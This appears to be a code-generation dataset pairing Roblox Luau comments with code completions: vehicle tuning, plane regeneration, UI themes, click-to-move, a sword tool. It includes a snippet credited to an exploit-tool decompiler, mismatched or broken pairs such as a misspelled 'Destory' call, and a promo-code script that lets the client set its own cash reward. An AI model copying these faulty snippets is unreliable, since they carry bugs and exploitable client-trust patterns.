prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- Another tip click Terrain then Decoration makesure to check it and turn it on!!! (MORE GRASS DETAIL) |
script.Parent:Destory()
|
-------------------------------------------------------- |
function DeleteIdlePlane() --This deletes any planes that aren't currently being used
for _,v in pairs(Planekit:GetChildren()) do
if v.Name == "Plane" then
v:Destroy()
end
end
end
function RegenMain() --This function regens the plane
local PlaneClone2 = PlaneClone:clone()
PlaneClone2.Parent = Planekit
PlaneClone2.Origin.Value = Planekit
PlaneClone2:MakeJoints()
return PlaneClone2
end
function RegeneratePlane(Part) --This is the main regenerating function
local Player = game.Players:GetPlayerFromCharacter(Part.Parent) --This gets the player that touched it
if Player then
if Active then
Active = false
DeleteIdlePlane() --This activates the "DeleteIdlePlane" function
for i = 0,1,0.2 do --This makes the button transparent
Main.Transparency = i
wait()
end
if RegenTime >= 1 then
RegenGui.Parent = Player.PlayerGui --The regengui will be put into the player if the regentime is more than 1
end
wait(RegenTime)
RegenGui.Parent = script --This puts the gui back in the script
local PlaneClone2 = RegenMain()
if EnterOnSpawn.Value then --If the EnterOnSpawn value is true...
coroutine.resume(coroutine.create(function()
repeat wait() until PlaneClone2.Welded.Value
onPlaneWelded(Player,PlaneClone2) --This activates the "onPlaneWelded" function whenever the welded value changes
end))
end
wait(WaitTime)
for i = 1,0,-0.2 do --This makes the button visible
Main.Transparency = i
wait()
end
Active = true
end
end
end
function onPlaneWelded(Player,Plane) --This function put you into the plane seat the moment the plane is welded
if Plane and Player then --This checks to make sure there is a plane and a player
if Player.Character:findFirstChild("Torso") then
Player.Character.Torso.CFrame = Plane.MainParts.Seat.CFrame
end
end
end
Main.Touched:connect(RegeneratePlane) --This activates the "RegeneratePlane" function when the Main brick is touched
|
--[[ wait(3)
tween:Play()
wait(1)
frame.Visible = false]] |
end)
|
-- << FUNCTIONS >> |
function module:GetData(dataStore, datastoreRetries, key)
return module:DataStoreRetry(datastoreRetries, function()
return dataStore:GetAsync(key)
end)
end
function module:DataStoreRetry(datastoreRetries, dataStoreFunction)
local tries = 0
local success = true
local data = nil
local errorMsg = ""
repeat
tries = tries + 1
success, errorMsg = pcall(function() data = dataStoreFunction() end)
if not success then wait(1) end
until tries == datastoreRetries or success
if not success then
--warn("HD Admin | Could not access DataStore | ".. tostring(errorMsg))
-- Cannot access DataStore
end
return success, data
end
return module
|
-- Decompiled with the Synapse X Luau decompiler. |
local u1 = nil;
coroutine.wrap(function()
u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
return function(p1, p2)
return u1.Functions.RadDeltaUnsafe(u1.Functions.RadNorm(p1), u1.Functions.RadNorm(p2));
end;
|
--Jitler is Pogi |
local Sound = script.Parent.Sound
local Tada = Sound.Tada
local StarterGui = game:GetService("StarterGui")
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, true)
local Frame = script.Parent.MainFrame
local hit = false
game.Workspace.Map.Pad.Touched:connect(function(part)
wait(.3)
if part.Parent.Name == game.Players.LocalPlayer.Name then
if not hit then
hit = true
part.Parent.Humanoid.WalkSpeed = 0
script.Parent.ImageLabel:TweenPosition(UDim2.new(0.5, 0, 0, 0), "Out", "Quint", 1)
script.Parent.ImageLabel2:TweenPosition(UDim2.new(0, 0, 0, 0), "Out", "Quint", 1)
wait(0.7)
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)
spawn(function()
wait(.3)
Frame.Visible = true
end)
wait(1.5)
script.Parent.ImageLabel:TweenPosition(UDim2.new(0.5, 1000, 0, 0), "In", "Quint", 1)
script.Parent.ImageLabel2:TweenPosition(UDim2.new(0, -1000, 0, 0), "In", "Quint", 1)
spawn(function()
wait(.2)
Tada:Play()
end)
wait(1)
script.Parent.ImageLabel.Visible = false
script.Parent.ImageLabel2.Visible = false
end
end
end)
|
-- first reset scrollingFrame to zero position |
scrollingFrame.CanvasPosition = Vector2.new(0, 0)
local width = scrollingFrame.AbsoluteSize.X
local height = scrollingFrame.AbsoluteSize.Y
local isBottom = false
local instance
local threshold = 2
while not isBottom do
wait(0.1)
--if find the element then return
instance = absPath:getFirstInstance()
if instance then return instance end
--scroll
local oldPosition = scrollingFrame.CanvasPosition
scrollingFrame.CanvasPosition = scrollingFrame.CanvasPosition +
Vector2.new(math.min(width, 300), math.min(height, 300))
--wait for content to refresh
local delta = scrollingFrame.CanvasPosition - oldPosition
isBottom = delta.Magnitude < threshold
--if it is the bottom, then return not found
end
return nil
end
function Element:centralizeWithInfiniteScrolling()
local instances, lastSeenIndex = self.path:getInstances()
if #instances > 0 then self:centralizeInstance() end
local lastSeenPath = self.path:copy()
while #lastSeenPath.data > lastSeenIndex do
table.remove(lastSeenPath.data)
end
local lastSeenInstance = lastSeenPath:getFirstInstance()
local lastScrollingFrame = nil
while true do
if lastSeenInstance.ClassName == "ScrollingFrame" then
lastScrollingFrame = lastSeenInstance
break
end
lastSeenInstance = lastSeenInstance.Parent
if lastSeenInstance == game then break end
end
if lastScrollingFrame == nil then return end
if self:_scrollToFindInstance(lastScrollingFrame, self.path) == nil then return end
self:_centralizeInScrollingFrame(self:getRbxInstance())
end
function Element:setPluginWindow()
local window = self.rbxInstance:FindFirstAncestorOfClass("DockWidgetPluginGui")
VirtualInput.setCurrentWindow(window)
end
function Element:click(repeatCount)
self:centralize()
self:setPluginWindow()
repeatCount = repeatCount or 1
VirtualInput.Mouse.multiClick(self:getAnchor(), repeatCount)
end
function Element:rightClick()
self:centralize()
self:setPluginWindow()
VirtualInput.Mouse.rightClick(self:getAnchor())
end
function Element:mouseWheel(num)
self:centralize()
VirtualInput.Mouse.mouseWheel(self:getAnchor(), num)
end
function Element:mouseDrag(xOffset, yOffset, duration)
self:centralize()
local posTo = self:getAnchor() + Vector2.new(xOffset, yOffset)
VirtualInput.Mouse.mouseDrag(self:getAnchor(), posTo, duration, true)
end
function Element:mouseDragTo(posTo, duration)
self:centralize()
VirtualInput.Mouse.mouseDrag(self:getAnchor(), posTo, duration, true)
end
function Element:sendKey(key)
self:setPluginWindow()
VirtualInput.Keyboard.hitKey(key)
end
function Element:sendText(str)
self:click()
wait(0)
VirtualInput.Text.sendText(str)
end
function Element:tap()
self:centralize()
VirtualInput.Touch.tap(self:getAnchor())
end
function Element:touchScroll(xOffset, yOffset, duration, multitouchId)
self:centralize()
VirtualInput.Touch.touchScroll(self:getAnchor(), xOffset, yOffset, duration, true, multitouchId)
end
return Element
|
--this script has been optimized by oozlebachr's optimizer !!!! | |
--Serverside logic |
Event.OnServerEvent:Connect(function(player,ExhaustParticle,FireBool)
print("ExhaustParticle")
if FireBool then
local RanNum = tostring(math.random(1,3))
ExhaustPart["Backfire"..RanNum]:Play()
ExhaustPart2["Backfire"..RanNum]:Play()
ExhaustPart.PointLight.Enabled = true
ExhaustPart2.PointLight.Enabled = true
ExhaustPart[ExhaustParticle].Enabled = true
ExhaustPart2[ExhaustParticle].Enabled = true
if ExhaustParticle == "FlamesSmall" then
ExhaustPart.PointLight.Range = 6
ExhaustPart2.PointLight.Range = 6
ExhaustPart.PointLight.Brightness = 5
ExhaustPart2.PointLight.Brightness = 5
ExhaustPart.Sparks.Enabled = false
ExhaustPart2.Sparks.Enabled = false
else
ExhaustPart.PointLight.Range = 8
ExhaustPart2.PointLight.Range = 8
ExhaustPart.PointLight.Brightness = 12
ExhaustPart2.PointLight.Brightness = 12
ExhaustPart.Sparks.Enabled = true
ExhaustPart2.Sparks.Enabled = true
end
else
ExhaustPart[ExhaustParticle].Enabled = false
ExhaustPart2[ExhaustParticle].Enabled = false
ExhaustPart.PointLight.Enabled = false
ExhaustPart2.PointLight.Enabled = false
end
end)
|
--[[ Local Functions ]] | --
function MouseLockController:OnMouseLockToggled()
self.isMouseLocked = not self.isMouseLocked
if self.isMouseLocked then
local cursorImageValueObj: StringValue? = script:FindFirstChild("CursorImage") :: StringValue?
if cursorImageValueObj and cursorImageValueObj:IsA("StringValue") and cursorImageValueObj.Value then
CameraUtils.setMouseIconOverride(cursorImageValueObj.Value)
else
if cursorImageValueObj then
cursorImageValueObj:Destroy()
end
cursorImageValueObj = Instance.new("StringValue")
assert(cursorImageValueObj, "")
cursorImageValueObj.Name = "CursorImage"
cursorImageValueObj.Value = DEFAULT_MOUSE_LOCK_CURSOR
cursorImageValueObj.Parent = script
CameraUtils.setMouseIconOverride(DEFAULT_MOUSE_LOCK_CURSOR)
end
else
CameraUtils.restoreMouseIcon()
end
self.mouseLockToggledEvent:Fire()
end
function MouseLockController:DoMouseLockSwitch(name, state, input)
if state == Enum.UserInputState.Begin then
self:OnMouseLockToggled()
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function MouseLockController:BindContextActions()
ContextActionService:BindActionAtPriority(CONTEXT_ACTION_NAME, function(name, state, input)
return self:DoMouseLockSwitch(name, state, input)
end, false, MOUSELOCK_ACTION_PRIORITY, unpack(self.boundKeys))
end
function MouseLockController:UnbindContextActions()
ContextActionService:UnbindAction(CONTEXT_ACTION_NAME)
end
function MouseLockController:IsMouseLocked(): boolean
return self.enabled and self.isMouseLocked
end
function MouseLockController:EnableMouseLock(enable: boolean)
if enable ~= self.enabled then
self.enabled = enable
if self.enabled then
-- Enabling the mode
self:BindContextActions()
else
-- Disabling
-- Restore mouse cursor
CameraUtils.restoreMouseIcon()
self:UnbindContextActions()
-- If the mode is disabled while being used, fire the event to toggle it off
if self.isMouseLocked then
self.mouseLockToggledEvent:Fire()
end
self.isMouseLocked = false
end
end
end
return MouseLockController
|
--[[Transmission]] |
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
--[[ 6 ]] 0.64 ,
--[[ 7 ]] 0.49 ,
--[[ 8 ]] 0.40 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--[[Brakes]] |
Tune.ABSEnabled = false -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 1200 -- Front brake force
Tune.RBrakeForce = 1600 -- Rear brake force
Tune.PBrakeForce = 6000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--
-- Top Hint
--
-- * This is a string of text that's top-centered in the window. (White text on black background)
-- * It should be used for messages from the client, and never from the place creator.
--
-- FEATURES:
-- * Auto-hides previous messages before showing yours.
-- * Always centered, regardless of length.
-- * Clicking the message hides it.
--
-- USE IT FOR:
-- * Quick task-related (non-essential) hints
-- * Showing the current modal state
-- * Tool hints (for the currently equipped tool)
-- * Keyboard shortcuts
--
-- NEVER USE IT FOR:
-- * Essential information (Use a popup instead)
-- * Messages from users or place creators. This is for client messages only.
--
-- ARGUMENTS:
-- Label: The message
-- Width: Text and background width (pixels) -- This should be removed when textWidth is added to Lua
-- Time: Seconds before hiding itself (If 0, it never hides)
--
-- USAGE: |
local topHint = script.Parent.topHint -- path to topHint ScreenGui
topHint.Add.Label.Value = "Press D to return to main menu."
topHint.Add.Width.Value = 290
topHint.Add.Time.Value = 7
topHint.Add.Disabled = true -- flip it off then on, in case it's currently running.
topHint.Add.Disabled = false |
--[[
This file is necessary for constructing the default Icon template
Do not remove this module otherwise TopbarPlus will break
Modifying this file may also cause TopbarPlus to break
It's recommended instead to create a separate theme module and use that instead
To apply your theme after creating it, do:
```lua
local IconController = require(pathway.to.IconController)
local Themes = require(pathway.to.Themes)
IconController.setGameTheme(Themes.YourThemeName)
```
or by applying to an individual icon:
```lua
local Icon = require(pathway.to.Icon)
local Themes = require(pathway.to.Themes)
local newIcon = Icon.new()
:setTheme(Themes.YourThemeName)
```
--]] |
return {
-- Settings which describe how an item behaves or transitions between states
action = {
toggleTransitionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
resizeInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
repositionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
captionFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
tipFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
dropdownSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
menuSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
},
-- Settings which describe how an item appears when 'deselected' and 'selected'
toggleable = {
-- How items appear normally (i.e. when they're 'deselected')
deselected = {
iconBackgroundColor = Color3.fromRGB(32, 37, 45),
iconBackgroundTransparency = 0.5,
iconCornerRadius = UDim.new(0.25, 0),
iconGradientColor = ColorSequence.new(Color3.fromRGB(208, 208, 208),Color3.fromRGB(255, 255, 255)),
iconGradientRotation = 90,
iconImage = "",
iconImageColor =Color3.fromRGB(255, 255, 255),
iconImageTransparency = 0,
iconImageYScale = 0.63,
iconImageRatio = 1,
iconLabelYScale = 0.45,
iconScale = UDim2.new(1, 0, 1, 0),
forcedIconSize = UDim2.new(0, 32, 0, 32);
iconSize = UDim2.new(0, 32, 0, 32),
iconOffset = UDim2.new(0, 0, 0, 0),
iconText = "",
iconTextColor = Color3.fromRGB(255, 255, 255),
iconFont = Enum.Font.GothamSemibold,
noticeCircleColor = Color3.fromRGB(255, 255, 255),
noticeCircleImage = "http://www.roblox.com/asset/?id=4871790969",
noticeTextColor = Color3.fromRGB(31, 33, 35),
baseZIndex = 1,
order = 1,
alignment = "left",
clickSoundId = "rbxassetid://5273899897",
clickVolume = 0,
clickPlaybackSpeed = 1,
clickTimePosition = 0.12
},
-- How items appear after the icon has been clicked (i.e. when they're 'selected')
-- If a selected value is not specified, it will default to the deselected value
selected = {
iconBackgroundColor = Color3.fromRGB(52, 68, 99),
iconBackgroundTransparency = 0.1,
iconGradientRotation = 270,
iconImageColor = Color3.fromRGB(57, 60, 65),
iconTextColor = Color3.fromRGB(57, 60, 65),
clickPlaybackSpeed = 1.5,
}
},
-- Settings where toggleState doesn't matter (they have a singular state)
other = {
-- Caption settings
captionBackgroundColor = Color3.fromRGB(0, 0, 0),
captionBackgroundTransparency = 0.5,
captionTextColor = Color3.fromRGB(255, 255, 255),
captionTextTransparency = 0,
captionFont = Enum.Font.Code,
captionOverlineColor = Color3.fromRGB(0, 170, 255),
captionOverlineTransparency = 0,
captionCornerRadius = UDim.new(0.25, 0),
-- Tip settings
tipBackgroundColor = Color3.fromRGB(255, 255, 255),
tipBackgroundTransparency = 0.1,
tipTextColor = Color3.fromRGB(27, 42, 53),
tipTextTransparency = 0,
tipFont = Enum.Font.Code,
tipCornerRadius = UDim.new(0.175, 0),
-- Dropdown settings
dropdownAlignment = "auto", -- 'left', 'mid', 'right' or 'auto' (auto is where the dropdown alignment matches the icons alignment)
dropdownMaxIconsBeforeScroll = 3,
dropdownMinWidth = 32,
dropdownSquareCorners = false,
dropdownBindToggleToIcon = true,
dropdownToggleOnLongPress = false,
dropdownToggleOnRightClick = false,
dropdownCloseOnTapAway = false,
dropdownHidePlayerlistOnOverlap = true,
dropdownListPadding = UDim.new(0, 2),
dropdownScrollBarColor = Color3.fromRGB(25, 25, 25),
dropdownScrollBarTransparency = 0.2,
dropdownScrollBarThickness = 4,
-- Menu settings
menuDirection = "auto", -- 'left', 'right' or 'auto' (for auto, if alignment is 'left' or 'mid', menuDirection will be 'right', else menuDirection is 'left')
menuMaxIconsBeforeScroll = 4,
menuBindToggleToIcon = true,
menuToggleOnLongPress = false,
menuToggleOnRightClick = false,
menuCloseOnTapAway = false,
menuScrollBarColor = Color3.fromRGB(25, 25, 25),
menuScrollBarTransparency = 0.2,
menuScrollBarThickness = 4,
},
}
|
--Hello! I have known this script for a long time now, but never thought about making a script
-- from it.Hope you enjoy.-- |
pos = script.Parent.Position
pos = Vector3.new(pos.x, pos.y-0.2, pos.z)
x = 0
z = 0
T = -99999
tall = script.Parent.Size.Y / 2
math.randomseed(tick())
rand = (math.random(0,20))/10
while true do
x = pos.x + (math.sin(T + (pos.x/5)) * math.sin(T/9))/3
z = pos.z + (math.sin(T + (pos.z/6)) * math.sin(T/12))/4
script.Parent.CFrame =
CFrame.new(x, pos.y, z) * CFrame.Angles((z-pos.z)/tall, 0,(x-pos.x)/-tall)
wait()
T = T + 0.005
end
|
-- print(PId) |
local button = script.Parent -- обозначение к чему привязан наш скрипт
button.MouseButton1Down:Connect(function()
-- print("PId:",PId)
local player = players.LocalPlayer -- локальный игрок
local a=MS:PromptProductPurchase(player,PId) -- выполнение запроса покупки
-- print("Покупка:",a)
end)
|
--Codes |
local codelist = {
code1 = "ROBLOX", -- Always put a comma every timne you're going to add another code
code2 = "Release"
}
script.Parent.MouseButton1Click:Connect(function()
if script.Parent.Parent.CodeHandler.Text == codelist.code1 then -- Im gonna add an expiration in this code
if date["month"] == 8 and date["day"] <= 3 then -- Months are in numerical order .Month and Day must be in lowercase letters. Use "<=" If you want to make your code valid until that date. Use "==" if you want to make your code valid only on that date.
if not codes:FindFirstChild("Code1") then -- This one here
RE:FireServer(500, "Code1") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools.
script.Parent.Text = "Code redeemed successfully!"
script.Parent.Parent.CodeHandler.Text = "" -- Removes the text in our code handler textbox
wait(2)
script.Parent.Text = "Redeem Code"
else
script.Parent.Text = "Code already redeemed!"
wait(2)
script.Parent.Text = "Redeem Code"
end
else
script.Parent.Text = "Code expired!"
wait(2)
script.Parent.Text = "Redeem Code"
end
elseif script.Parent.Parent.CodeHandler.Text == codelist.code2 then -- Your second code. So if our textbox matches the code in our dictionary...
if not codes:FindFirstChild("Code2") then -- This one here
RE:FireServer(25000, "Code2") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools.
script.Parent.Text = "Code redeemed successfully!"
script.Parent.Parent.CodeHandler.Text = ""
wait(2)
script.Parent.Text = "Redeem Code"
else
script.Parent.Text = "Code already redeemed!"
wait(2)
script.Parent.Text = "Redeem Code"
end
else
script.Parent.Text = "Code invalid!"
script.Parent.Parent.CodeHandler.Text = ""
wait(2)
script.Parent.Text = "Redeem Code"
end
end)
|
--[[ The ClickToMove Controller Class ]] | --
local KeyboardController = require(script.Parent:WaitForChild("Keyboard"))
local ClickToMove = setmetatable({}, KeyboardController)
ClickToMove.__index = ClickToMove
function ClickToMove.new(CONTROL_ACTION_PRIORITY)
local self = setmetatable(KeyboardController.new(CONTROL_ACTION_PRIORITY), ClickToMove)
self.fingerTouches = {}
self.numUnsunkTouches = 0
-- PC simulation
self.mouse1Down = tick()
self.mouse1DownPos = Vector2.new()
self.mouse2DownTime = tick()
self.mouse2DownPos = Vector2.new()
self.mouse2UpTime = tick()
self.tapConn = nil
self.inputBeganConn = nil
self.inputChangedConn = nil
self.inputEndedConn = nil
self.humanoidDiedConn = nil
self.characterChildAddedConn = nil
self.onCharacterAddedConn = nil
self.characterChildRemovedConn = nil
self.renderSteppedConn = nil
self.humanoidSeatedConn = nil
self.running = false
self.wasdEnabled = false
return self
end
function ClickToMove:DisconnectEvents()
DisconnectEvent(self.tapConn)
DisconnectEvent(self.inputBeganConn)
DisconnectEvent(self.inputChangedConn)
DisconnectEvent(self.inputEndedConn)
DisconnectEvent(self.humanoidDiedConn)
DisconnectEvent(self.characterChildAddedConn)
DisconnectEvent(self.onCharacterAddedConn)
DisconnectEvent(self.renderSteppedConn)
DisconnectEvent(self.characterChildRemovedConn)
-- TODO: Resolve with ControlScript handling of seating for vehicles
DisconnectEvent(self.humanoidSeatedConn)
RunService:UnbindFromRenderStep("ClickToMoveRenderUpdate")
end
function ClickToMove:OnTouchBegan(input, processed)
if self.fingerTouches[input] == nil and not processed then
self.numUnsunkTouches = self.numUnsunkTouches + 1
end
self.fingerTouches[input] = processed
end
function ClickToMove:OnTouchChanged(input, processed)
if self.fingerTouches[input] == nil then
self.fingerTouches[input] = processed
if not processed then
self.numUnsunkTouches = self.numUnsunkTouches + 1
end
end
end
function ClickToMove:OnTouchEnded(input, processed)
if self.fingerTouches[input] ~= nil and self.fingerTouches[input] == false then
self.numUnsunkTouches = self.numUnsunkTouches - 1
end
self.fingerTouches[input] = nil
end
function ClickToMove:OnCharacterAdded(character)
self:DisconnectEvents()
self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchBegan(input, processed)
-- Give back controls when they tap both sticks
local wasInBottomLeft = IsInBottomLeft(input.Position)
local wasInBottomRight = IsInBottomRight(input.Position)
if wasInBottomRight or wasInBottomLeft then
for otherInput, _ in pairs(self.fingerTouches) do
if otherInput ~= input then
local otherInputInLeft = IsInBottomLeft(otherInput.Position)
local otherInputInRight = IsInBottomRight(otherInput.Position)
if otherInput.UserInputState ~= Enum.UserInputState.End and ((wasInBottomLeft and otherInputInRight) or (wasInBottomRight and otherInputInLeft)) then
if BindableEvent_OnFailStateChanged then
BindableEvent_OnFailStateChanged:Fire(true)
end
return
end
end
end
end
end
-- Cancel path when you use the keyboard controls.
if processed == false and input.UserInputType == Enum.UserInputType.Keyboard and movementKeys[input.KeyCode] then
CleanupPath()
end
if input.UserInputType == Enum.UserInputType.MouseButton1 then
self.mouse1DownTime = tick()
self.mouse1DownPos = input.Position
end
if input.UserInputType == Enum.UserInputType.MouseButton2 then
self.mouse2DownTime = tick()
self.mouse2DownPos = input.Position
end
end)
self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchChanged(input, processed)
end
end)
self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchEnded(input, processed)
end
if input.UserInputType == Enum.UserInputType.MouseButton2 then
self.mouse2UpTime = tick()
local currPos = input.Position
if self.mouse2UpTime - self.mouse2DownTime < 0.25 and (currPos - self.mouse2DownPos).magnitude < 5 and self.moveVector.Magnitude<=0 then
local positions = {currPos}
OnTap(positions)
end
end
end)
self.tapConn = UserInputService.TouchTap:Connect(function(touchPositions, processed)
if not processed then
OnTap(touchPositions)
end
end)
local function computeThrottle(dist)
if dist > .2 then
return 0.5+(dist^2)/2
else
return 0
end
end
local lastSteer = 0
--kP = how much the steering corrects for the current error in driving angle
--kD = how much the steering corrects for how quickly the error in driving angle is changing
local kP = 1
local kD = 0.5
local function getThrottleAndSteer(object, point)
local throttle, steer = 0, 0
local oCF = object.CFrame
local relativePosition = oCF:pointToObjectSpace(point)
local relativeZDirection = -relativePosition.z
local relativeDistance = relativePosition.magnitude
-- throttle quadratically increases from 0-1 as distance from the selected point goes from 0-50, after 50, throttle is 1.
-- this allows shorter distance travel to have more fine-tuned control.
throttle = computeThrottle(math.min(1,relativeDistance/50))*math.sign(relativeZDirection)
local steerAngle = -math.atan2(-relativePosition.x, -relativePosition.z)
steer = steerAngle/(math.pi/4)
local steerDelta = steer - lastSteer
lastSteer = steer
local pdSteer = kP * steer + kD * steer
return throttle, pdSteer
end
local function Update()
if CurrentSeatPart then
if DrivingTo then
local throttle, steer = getThrottleAndSteer(CurrentSeatPart, DrivingTo)
CurrentSeatPart.ThrottleFloat = throttle
CurrentSeatPart.SteerFloat = steer
else
CurrentSeatPart.ThrottleFloat = 0
CurrentSeatPart.SteerFloat = 0
end
end
local cameraPos = workspace.CurrentCamera.CFrame.p
for i = 1, #activePopups do
local popup = activePopups[i]
popup.CFrame = CFrame.new(popup.CFrame.p, cameraPos)
end
end
RunService:BindToRenderStep("ClickToMoveRenderUpdate",Enum.RenderPriority.Camera.Value - 1,Update)
local function OnCharacterChildAdded(child)
if UserInputService.TouchEnabled then
if child:IsA('Tool') then
child.ManualActivationOnly = true
end
end
if child:IsA('Humanoid') then
DisconnectEvent(self.humanoidDiedConn)
self.humanoidDiedConn = child.Died:Connect(function()
if ExistingIndicator then
DebrisService:AddItem(ExistingIndicator.Model, 1)
end
end)
end
end
self.characterChildAddedConn = character.ChildAdded:Connect(function(child)
OnCharacterChildAdded(child)
end)
self.characterChildRemovedConn = character.ChildRemoved:Connect(function(child)
if UserInputService.TouchEnabled then
if child:IsA('Tool') then
child.ManualActivationOnly = false
end
end
end)
for _, child in pairs(character:GetChildren()) do
OnCharacterChildAdded(child)
end
end
function ClickToMove:Start()
self:Enable(true)
end
function ClickToMove:Stop()
self:Enable(false)
end
function ClickToMove:Enable(enable, enableWASD)
if enable then
if not self.running then
if Player.Character then -- retro-listen
self:OnCharacterAdded(Player.Character)
end
self.onCharacterAddedConn = Player.CharacterAdded:Connect(function(char)
self:OnCharacterAdded(char)
end)
self.running = true
end
else
if self.running then
self:DisconnectEvents()
CleanupPath()
-- Restore tool activation on shutdown
if UserInputService.TouchEnabled then
local character = Player.Character
if character then
for _, child in pairs(character:GetChildren()) do
if child:IsA('Tool') then
child.ManualActivationOnly = false
end
end
end
end
DrivingTo = nil
self.running = false
end
end
-- Extension for initializing Keyboard input as this class now derives from Keyboard
if UserInputService.KeyboardEnabled and enable ~= self.enabled then
self.forwardValue = 0
self.backwardValue = 0
self.leftValue = 0
self.rightValue = 0
self.moveVector = ZERO_VECTOR3
if enable then
self:BindContextActions()
self:ConnectFocusEventListeners()
else
self:UnbindContextActions()
self:DisconnectFocusEventListeners()
end
end
self.wasdEnabled = enable and enableWASD or false
self.enabled = enable
end
|
-- Roact |
local new = Roact.createElement
local Tooltip = require(script.Parent:WaitForChild('Tooltip'))
|
-------- OMG HAX |
r = game:service("RunService")
local damage = 20
local slash_damage = 18
local lunge_damage = 36
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function DarkKill(character, humanoid, attacker)
if (character:FindFirstChild("ForceField") ~= nil) then return end
local childs = character:GetChildren()
local colors = {}
tagHumanoid(humanoid, attacker)
humanoid.Health = 0
for i=1,#childs do
if (childs[i].className == "Part") then
colors[i] = childs[i].BrickColor
childs[i].BrickColor = BrickColor.new(26)
childs[i].CanCollide = true
childs[i].Anchored = true
end
end
wait(.25)
for i=1,#childs do
if (childs[i].className == "Part") then
local b = Instance.new("BodyVelocity")
b.velocity = Vector3.new(math.random() - .5, 0, math.random() - .5).unit * 80
b.maxForce = Vector3.new(1e5,1e5,1e5)
b.Parent = childs[i]
end
end
for i=1,#childs do
if (childs[i].className == "Part") then
childs[i].Anchored = false
end
end
end
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
hum.Health = hum.Health + (damage * .4)
if humanoid.Health > damage then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
else
DarkKill(humanoid.Parent, humanoid, vPlayer)
end
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
game.Debris:AddItem(creator_tag, 1)
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
local force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
force.Parent = Tool.Parent.Torso
wait(.25)
swordOut()
wait(.25)
force.Parent = nil
wait(.5)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
